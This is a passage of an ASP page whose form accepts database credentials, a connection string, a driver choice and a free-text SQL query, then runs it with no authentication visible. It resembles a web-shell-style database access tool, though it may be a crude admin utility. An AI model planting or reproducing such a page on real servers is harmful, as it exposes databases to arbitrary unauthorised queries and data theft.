Response.write("</tr>")
Set RS = Nothing
objCon.Close
Response.write("<tr>")
Response.write("<td>")
Response.Write "Database Connection Closed"
Response.write("</td>")
Response.write("</tr>")
Response.write("</table>")
ELSE
%>
<form action='#' method='POST'>
<table align='left' border='0'>
<tr>
<td valign='top' align='right'><b><font face='Arial' size='2'>
Server Name:</font></b></td>
<td><font face='Courier New'><input type='Text' name='ServerName' size='30'>
</font></td>
<td align='right'><b><font face='Arial' size='2'>User Name:</font></b></td>
<td><font face='Courier New'><input name='UserName' size='14'></font></td>
</tr>
<tr>
<td valign='top' align='right'><b><font face='Arial' size='2'>Database Name:
</font></b></td>
<td><font face='Courier New'><input name='DatabaseName' size='30'></font></td>
<td align='right'><b><font face='Arial' size='2'>Password:</font></b></td>
<td><font face='Courier New'><input name='Password' size='14'></font></td>
</tr>
<tr>
<td valign='top' align='right'><b><font face='Arial' size='2'>
Connection String:</font></b></td>
<td ><input type='text' name='ConStr' size='30'></td>
</tr>
<tr>
<td valign='top' align='right'><b><font face='Arial' size='2'>Driver:
</font></b></td>
<td>
<select size='1' name='Dbsource'>
<option>Oracle ODBC Driver</option>
<option>Microsoft Access Driver (*.mdb)</option>
<option>MySQL ODBC 3.51 Driver</option>
<option selected>SQL Server</option>
</select>
</td>
</tr>
<tr>
<td valign='top' align='right'><b><font face='Arial' size='2'>
Query String:</font></b></td>
<td colspan='3'><font face='Courier New'>
<textarea rows='4' name='Query' cols='69'></textarea></font></td>
</tr>
<tr>
<td><input type='HIDDEN' name='Message' value='true'></td>
</tr>
<tr>
<td>
<td colspan='3'> <input type='submit' value='Execute Query'></td>
</tr>
</table>
</form>
<%END IF%>
</body>
</html>
|
|